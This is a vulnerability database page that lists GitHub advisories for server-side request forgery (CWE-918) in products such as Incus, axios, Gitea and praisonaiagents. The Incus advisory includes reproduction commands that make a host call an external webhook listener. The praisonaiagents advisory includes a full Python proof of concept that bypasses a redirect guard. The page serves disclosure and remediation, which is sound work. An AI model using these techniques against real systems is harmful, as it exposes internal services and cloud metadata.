Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6005 vulnerabilities reference this CWE, most recent first.

GHSA-8GR3-7CP8-2RC9

Vulnerability from github – Published: 2025-06-17 00:30 – Updated: 2025-06-17 00:30
VLAI
Details

A vulnerability was found in Intera InHire up to 20250530. It has been declared as critical. Affected by this vulnerability is an unknown functionality. The manipulation of the argument 29chcotoo9 leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-6142"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-16T22:16:41Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Intera InHire up to 20250530. It has been declared as critical. Affected by this vulnerability is an unknown functionality. The manipulation of the argument 29chcotoo9 leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-8gr3-7cp8-2rc9",
  "modified": "2025-06-17T00:30:30Z",
  "published": "2025-06-17T00:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6142"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1-doSYzFeLaKtd_b6RmpBtZ5qtsvu4gYI/view?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.312613"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.312613"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.587665"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8GVX-2FXM-77JM

Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2026-07-05 00:31
VLAI
Details

Nagios Enterprises NagiosXI <= 5.8.4 contains a Server-Side Request Forgery (SSRF) vulnerability in schedulereport.php. Any authenticated user can create scheduled reports containing PDF screenshots of any view in the NagiosXI application. Due to lack of input sanitisation, the target page can be replaced with an SSRF payload to access internal resources or disclose local system files.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-37223"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-05T12:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Nagios Enterprises NagiosXI \u003c= 5.8.4 contains a Server-Side Request Forgery (SSRF) vulnerability in schedulereport.php. Any authenticated user can create scheduled reports containing PDF screenshots of any view in the NagiosXI application. Due to lack of input sanitisation, the target page can be replaced with an SSRF payload to access internal resources or disclose local system files.",
  "id": "GHSA-8gvx-2fxm-77jm",
  "modified": "2026-07-05T00:31:23Z",
  "published": "2022-05-24T19:16:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37223"
    },
    {
      "type": "WEB",
      "url": "https://www.nagios.com/downloads/nagios-xi/change-log"
    },
    {
      "type": "WEB",
      "url": "http://nagios.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8GW4-P4WQ-4HCV

Vulnerability from github – Published: 2026-05-04 16:53 – Updated: 2026-05-08 15:30
VLAI
Summary
Incus has Blind SSRF via Image Import Preflight HEAD
Details

Summary

A partial implementation of our restricted.images.servers project restriction allows users in such restricted projects to still cause Incus to send HEAD requests to arbitrary endpoints.

The actual image download will be rejected by the project restriction, but the ability to trigger arbitrary HTTP requests inside of the Incus environment can still be used as a way to discover otherwise hidden details about the environment.

Details

The image import flow performs outbound network access to a user-supplied URL before the request is fully validated and before the import is rejected. The URL information helper constructs a HEAD request directly from the supplied source URL and immediately sends it to resolve image metadata.

A host-originated HEAD request is issued from attacker-controlled input during the image import preflight stage. In the observed reproduction, this request is sent before the flow fails on later processing requirements, such as missing image metadata headers. As a result, an authenticated user can coerce the daemon into making blind outbound HEAD requests to arbitrary destinations. This yields a blind server-side request forgery (SSRF) primitive against internal services, unroutable address space, or cloud metadata endpoints reachable by the host. This vulnerability pattern is similar to CVE-2026-24767.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go

Affected Code:

func imgPostURLInfo(ctx context.Context, s *state.State, r *http.Request, req api.ImagesPost, op *operations.Operation, project string, budget int64) (*api.Image, error) {
    [...]
    head, err := http.NewRequest("HEAD", req.Source.URL, nil)
    if err != nil {
        return nil, err
    }

    [...]


    head.Header.Set("User-Agent", version.UserAgent)
    head.Header.Set("Incus-Server-Architectures", strings.Join(architectures, ", "))
    head.Header.Set("Incus-Server-Version", version.Version)

    raw, err := myhttp.Do(head)
    if err != nil {
        return nil, err
    }

    hash := raw.Header.Get("Incus-Image-Hash")
    if hash == "" {
        return nil, errors.New("Missing Incus-Image-Hash header")
    }

    url := raw.Header.Get("Incus-Image-URL")
    if url == "" {
        return nil, errors.New("Missing Incus-Image-URL header")
    }

    info, _, err := ImageDownload(ctx, r, s, op, &ImageDownloadArgs{
        Server:      url,
        Protocol:    "direct",
        Alias:       hash,
        AutoUpdate:  req.AutoUpdate,
        Public:      req.Public,
        ProjectName: project,
        Budget:      budget,
    })
    [...]
}

The following PoC demonstrates that an authenticated user can trigger a host-originated HEAD request to an arbitrary external URL during the image import preflight stage.

Step 1: Select the reproduction project

From an Incus client with access to the target server, switch into the project used for reproduction. In this environment, the selected project was configured as restricted=true with a restrictive restricted.images.servers policy.

Command:

incus project switch restricted

Step 2: Trigger the preflight request to an arbitrary URL

From the same Incus client, attempt to import an image from an attacker-controlled or observable URL. In this example, webhook.site is used as an external listener to capture the host-originated request.

Command:

incus image import https://webhook.site/0270eca3-4197-4194-97b6-1280f1070c3a --alias my-ssrf-image

Result:

Error: Missing Incus-Image-Hash header

Step 3: Verify the outbound HEAD request in the external listener

In the webhook.site request log for the URL above, confirm that the Incus host issued a HEAD request before the import failed. In this reproduction environment, the request originated from a server running Incus v6.22.0.

Result:

HEAD /0270eca3-4197-4194-97b6-1280f1070c3a HTTP/1.1
Host: webhook.site
User-Agent: Incus 6.22 (Linux; x86_64; 6.19.6; Debian GNU/Linux; 13) (zfs 2.4.1-1)
Incus-Server-Version: 6.22
Incus-Server-Architectures: x86_64, i686

It is recommended to defer all outbound network interaction associated with URL-based image imports, including metadata preflight requests, until after the supplied URL has passed all validation and policy checks required by the import flow. If the import would later fail or be disallowed, the daemon should reject the request before issuing any network traffic.

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v6/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35527"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T16:53:01Z",
    "nvd_published_at": "2026-05-05T21:16:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA partial implementation of our `restricted.images.servers` project restriction allows users in such restricted projects to still cause Incus to send HEAD requests to arbitrary endpoints.\n\nThe actual image download will be rejected by the project restriction, but the ability to trigger arbitrary HTTP requests inside of the Incus environment can still be used as a way to discover otherwise hidden details about the environment.\n\n### Details\nThe image import flow performs outbound network access to a user-supplied URL before the request is fully validated and before the import is rejected. The URL information helper constructs a HEAD request directly from the supplied source URL and immediately sends it to resolve image metadata.\n\nA host-originated HEAD request is issued from attacker-controlled input during the image import preflight stage. In the observed reproduction, this request is sent before the flow fails on later processing requirements, such as missing image metadata headers. As a result, an authenticated user can coerce the daemon into making blind outbound HEAD requests to arbitrary destinations. This yields a blind server-side request forgery (SSRF) primitive against internal services, unroutable address space, or cloud metadata endpoints reachable by the host. This vulnerability pattern is similar to CVE-2026-24767.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go \n\nAffected Code:\n```\nfunc imgPostURLInfo(ctx context.Context, s *state.State, r *http.Request, req api.ImagesPost, op *operations.Operation, project string, budget int64) (*api.Image, error) {\n    [...]\n    head, err := http.NewRequest(\"HEAD\", req.Source.URL, nil)\n    if err != nil {\n        return nil, err\n    }\n\n    [...]\n\n\n    head.Header.Set(\"User-Agent\", version.UserAgent)\n    head.Header.Set(\"Incus-Server-Architectures\", strings.Join(architectures, \", \"))\n    head.Header.Set(\"Incus-Server-Version\", version.Version)\n\n    raw, err := myhttp.Do(head)\n    if err != nil {\n        return nil, err\n    }\n\n    hash := raw.Header.Get(\"Incus-Image-Hash\")\n    if hash == \"\" {\n        return nil, errors.New(\"Missing Incus-Image-Hash header\")\n    }\n\n    url := raw.Header.Get(\"Incus-Image-URL\")\n    if url == \"\" {\n        return nil, errors.New(\"Missing Incus-Image-URL header\")\n    }\n\n    info, _, err := ImageDownload(ctx, r, s, op, \u0026ImageDownloadArgs{\n        Server:      url,\n        Protocol:    \"direct\",\n        Alias:       hash,\n        AutoUpdate:  req.AutoUpdate,\n        Public:      req.Public,\n        ProjectName: project,\n        Budget:      budget,\n    })\n    [...]\n}\n```\n\nThe following PoC demonstrates that an authenticated user can trigger a host-originated HEAD request to an arbitrary external URL during the image import preflight stage.\n\nStep 1: Select the reproduction project\n\nFrom an Incus client with access to the target server, switch into the project used for reproduction. In this environment, the selected project was configured as restricted=true with a restrictive restricted.images.servers policy.\n\nCommand:\n```\nincus project switch restricted\n```\n\nStep 2: Trigger the preflight request to an arbitrary URL\n\nFrom the same Incus client, attempt to import an image from an attacker-controlled or observable URL. In this example, webhook.site is used as an external listener to capture the host-originated request.\n\nCommand:\n```\nincus image import https://webhook.site/0270eca3-4197-4194-97b6-1280f1070c3a --alias my-ssrf-image\n```\n\nResult:\n```\nError: Missing Incus-Image-Hash header\n```\n\nStep 3: Verify the outbound HEAD request in the external listener\n\nIn the webhook.site request log for the URL above, confirm that the Incus host issued a HEAD request before the import failed. In this reproduction environment, the request originated from a server running Incus v6.22.0.\n\nResult:\n```\nHEAD /0270eca3-4197-4194-97b6-1280f1070c3a HTTP/1.1\nHost: webhook.site\nUser-Agent: Incus 6.22 (Linux; x86_64; 6.19.6; Debian GNU/Linux; 13) (zfs 2.4.1-1)\nIncus-Server-Version: 6.22\nIncus-Server-Architectures: x86_64, i686\n```\n\nIt is recommended to defer all outbound network interaction associated with URL-based image imports, including metadata preflight requests, until after the supplied URL has passed all validation and policy checks required by the import flow. If the import would later fail or be disallowed, the daemon should reject the request before issuing any network traffic.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
  "id": "GHSA-8gw4-p4wq-4hcv",
  "modified": "2026-05-08T15:30:49Z",
  "published": "2026-05-04T16:53:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-8gw4-p4wq-4hcv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35527"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Incus has Blind SSRF via Image Import Preflight HEAD"
}

GHSA-8H8P-X289-VVQR

Vulnerability from github – Published: 2022-02-09 00:00 – Updated: 2022-02-14 21:42
VLAI
Summary
Gitea displaying raw OpenID error in UI
Details

Gitea is a project to help users set up a self-hosted Git service. Server Side Request Forgery (SSRF) vulnerability exists in Gitea before 1.7.0 using the OpenID URL. Gitea can leak sensitive information about the local network through the error provided by the UI.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-gitea/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-45325"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-14T19:58:31Z",
    "nvd_published_at": "2022-02-08T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Gitea is a project to help users set up a self-hosted Git service. Server Side Request Forgery (SSRF) vulnerability exists in Gitea before 1.7.0 using the OpenID URL. Gitea can leak sensitive information about the local network through the error provided by the UI. ",
  "id": "GHSA-8h8p-x289-vvqr",
  "modified": "2022-02-14T21:42:51Z",
  "published": "2022-02-09T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45325"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/issues/4973"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/5705"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/5712"
    },
    {
      "type": "WEB",
      "url": "https://blog.gitea.io/2019/01/gitea-1.7.0-is-released"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea displaying raw OpenID error in UI"
}

GHSA-8H8W-Q442-78J7

Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35
VLAI
Details

Multiple vulnerabilities in the web-based management interface of Cisco Finesse could allow an unauthenticated, remote attacker to retrieve a cleartext password from an affected system. Cisco Bug IDs: CSCvg71044.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-0399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-18T23:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Multiple vulnerabilities in the web-based management interface of Cisco Finesse could allow an unauthenticated, remote attacker to retrieve a cleartext password from an affected system. Cisco Bug IDs: CSCvg71044.",
  "id": "GHSA-8h8w-q442-78j7",
  "modified": "2022-05-13T01:35:15Z",
  "published": "2022-05-13T01:35:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0399"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180718-finesse"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104886"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HC4-VH64-CXMJ

Vulnerability from github – Published: 2024-08-12 15:30 – Updated: 2024-08-13 19:53
VLAI
Summary
Server-Side Request Forgery in axios
Details

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.2"
            },
            {
              "fixed": "1.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-39338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-12T17:26:43Z",
    "nvd_published_at": "2024-08-12T13:38:24Z",
    "severity": "HIGH"
  },
  "details": "axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.",
  "id": "GHSA-8hc4-vh64-cxmj",
  "modified": "2024-08-13T19:53:23Z",
  "published": "2024-08-12T15:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39338"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/issues/6463"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/6539"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/6543"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/6b6b605eaf73852fb2dae033f1e786155959de3a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.7.4"
    },
    {
      "type": "WEB",
      "url": "https://jeffhacks.com/advisories/2024/06/24/CVE-2024-39338.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Server-Side Request Forgery in axios"
}

GHSA-8HF9-2H6F-G638

Vulnerability from github – Published: 2026-05-26 13:30 – Updated: 2026-05-26 13:30
VLAI
Details

Improper authorization in the Active Directory browsing feature in Devolutions Server allows a low-privileged authenticated user to obtain authentication material associated with a stored PAM provider service account via authentication relay to an attacker-controlled server.

This issue affects :

  • Devolutions Server 2026.1.6.0 through 2026.1.16.0
  • Devolutions Server 2025.3.20.0 and earlier
Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-7325"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-22T16:16:21Z",
    "severity": "HIGH"
  },
  "details": "Improper authorization in the Active Directory browsing feature in Devolutions Server allows a low-privileged authenticated user to obtain authentication material associated with a stored PAM provider service account via authentication relay to an attacker-controlled server.\n\nThis issue affects :\n\n  *  Devolutions Server 2026.1.6.0 through 2026.1.16.0\n  *  Devolutions Server 2025.3.20.0 and earlier",
  "id": "GHSA-8hf9-2h6f-g638",
  "modified": "2026-05-26T13:30:18Z",
  "published": "2026-05-26T13:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7325"
    },
    {
      "type": "WEB",
      "url": "https://devolutions.net/security/advisories/DEVO-2026-0013"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HH6-8639-P8VQ

Vulnerability from github – Published: 2025-12-02 12:30 – Updated: 2025-12-04 18:30
VLAI
Details

Blind Server-Side Request Forgery (SSRF) in the survey-import feature of

ObjectPlanet Opinio 7.26 rev12562 on

Web-based platforms allows an attacker to force the server to perform HTTP GET requests via crafted import requests

to an arbitrary destination.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-13872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-02T10:16:01Z",
    "severity": "LOW"
  },
  "details": "Blind Server-Side Request Forgery (SSRF) in the survey-import feature of \n\n ObjectPlanet\u00a0Opinio\u00a07.26 rev12562\u00a0on \n\nWeb-based platforms allows an attacker to force the server to perform HTTP GET requests via crafted import requests \n\n to an arbitrary destination.",
  "id": "GHSA-8hh6-8639-p8vq",
  "modified": "2025-12-04T18:30:42Z",
  "published": "2025-12-02T12:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13872"
    },
    {
      "type": "WEB",
      "url": "https://www.objectplanet.com/opinio/changelog.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8HJW-25CG-G52H

Vulnerability from github – Published: 2026-08-25 14:18 – Updated: 2026-08-25 14:18
VLAI
Summary
praisonaiagents has a `web_crawl` SSRF protection bypass via unchecked redirect targets
Details

Summary

praisonaiagents.tools.web_crawl_tools.web_crawl() validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses httpx.Client(follow_redirects=True) and does not revalidate redirect targets.

An attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by web_crawl().

This appears to be an incomplete fix / patch bypass for the published web_crawl SSRF class (GHSA-qq9r-63f6-v542 / CVE-2026-40160, and GHSA-8f4v-xfm9-3244).

Affected Component

Package:

praisonaiagents

File:

src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py

Functions:

web_crawl()
_crawl_with_httpx()

Affected Versions

Validated affected:

  • praisonaiagents 1.5.128 via repository tag v4.5.128;
  • praisonaiagents 1.6.40 via repository tag v4.6.40;
  • praisonaiagents 1.6.56 via repository tag v4.6.56;
  • current origin/main commit 095653d78a01cc6c80ff5b2dd20a8e5619686ddc.

Suggested affected range for maintainer confirmation:

>= 1.5.128, <= 1.6.56

No patched version is known to me at submission time.

Root Cause

Current web_crawl() validates only the initially supplied URL:

  • requires http or https;
  • resolves the initial hostname with socket.gethostbyname();
  • rejects loopback/private/link-local/multicast/unspecified addresses unless ALLOW_LOCAL_CRAWL=true.

The default fetch sink then follows redirects:

with httpx.Client(follow_redirects=True, timeout=30.0) as client:
    response = client.get(url)

There is no validation of intermediate or final redirect destinations before httpx fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.

Local Reproduction

The PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so attacker.test appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.

Run from a checkout of the repository:

env PYTHONPATH=src/praisonai-agents uv run --with httpx poc_web_crawl_redirect_ssrf.py

Observed output:

DIRECT_CONTROL: {'error': 'No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'content': 'INTERNAL-SECRET-FROM-LOOPBACK', 'title': '', 'provider': 'httpx'}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback

The direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.

With the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:

REDIRECT_HIT: True
INTERNAL_HIT: False

Impact

If an attacker can influence URLs passed to web_crawl(), directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the web_crawl() result.

Practical impact includes:

  • reading loopback-only HTTP services;
  • probing private network services;
  • reading cloud metadata endpoints where reachable and not otherwise protected.

This report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.

Severity

This mirrors the CVSS v4.0 shape already used for the prior web_crawl SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.

Suggested Fix

  • Set follow_redirects=False in _crawl_with_httpx(), or handle redirects manually and validate each Location target before following it.
  • Centralize the URL validation used by server-side fetch tools.
  • Validate every resolved address using socket.getaddrinfo(), not only the first gethostbyname() result.
  • Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations.
  • Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.

PoV

#!/usr/bin/env python3
"""Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.

This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.
"""

from __future__ import annotations

import http.server
import os
import socket
import socketserver
import threading
from typing import Any

from praisonaiagents.tools.web_crawl_tools import web_crawl


class InternalHandler(http.server.BaseHTTPRequestHandler):
    body = b"INTERNAL-SECRET-FROM-LOOPBACK"

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, *_args: Any) -> None:
        return


class RedirectHandler(http.server.BaseHTTPRequestHandler):
    target = ""

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(302)
        self.send_header("Location", self.target)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return


def main() -> int:
    os.environ.pop("ALLOW_LOCAL_CRAWL", None)

    internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
    internal.hit = False  # type: ignore[attr-defined]
    internal_port = internal.server_address[1]

    RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
    redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
    redirect.hit = False  # type: ignore[attr-defined]
    redirect_port = redirect.server_address[1]

    threading.Thread(target=internal.serve_forever, daemon=True).start()
    threading.Thread(target=redirect.serve_forever, daemon=True).start()

    original_gethostbyname = socket.gethostbyname
    original_getaddrinfo = socket.getaddrinfo

    def fake_gethostbyname(host: str) -> str:
        if host == "attacker.test":
            return "93.184.216.34"
        return original_gethostbyname(host)

    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
        if host == "attacker.test":
            return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
        return original_getaddrinfo(host, port, *args, **kwargs)

    socket.gethostbyname = fake_gethostbyname
    socket.getaddrinfo = fake_getaddrinfo
    try:
        direct_control = web_crawl(
            f"http://127.0.0.1:{internal_port}/secret",
            provider="httpx",
        )
        redirect_result = web_crawl(
            f"http://attacker.test:{redirect_port}/go",
            provider="httpx",
        )
    finally:
        socket.gethostbyname = original_gethostbyname
        socket.getaddrinfo = original_getaddrinfo
        redirect.shutdown()
        internal.shutdown()
        redirect.server_close()
        internal.server_close()

    print("DIRECT_CONTROL:", direct_control)
    print("REDIRECT_RESULT:", redirect_result)
    print("REDIRECT_SERVER_HIT:", bool(redirect.hit))  # type: ignore[attr-defined]
    print("INTERNAL_SERVER_HIT:", bool(internal.hit))  # type: ignore[attr-defined]

    if not isinstance(direct_control, dict) or "No valid or safe URLs" not in str(direct_control):
        raise SystemExit("control failed: direct loopback was not blocked")
    if not isinstance(redirect_result, dict):
        raise SystemExit("bypass failed: unexpected result type")
    if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirect_result.get("content", "")):
        raise SystemExit("bypass failed: redirect target content was not returned")
    if not bool(redirect.hit) or not bool(internal.hit):  # type: ignore[attr-defined]
        raise SystemExit("bypass failed: expected local servers were not hit")

    print("PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.128"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55523"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:18:40Z",
    "nvd_published_at": "2026-08-05T20:17:10Z",
    "severity": "HIGH"
  },
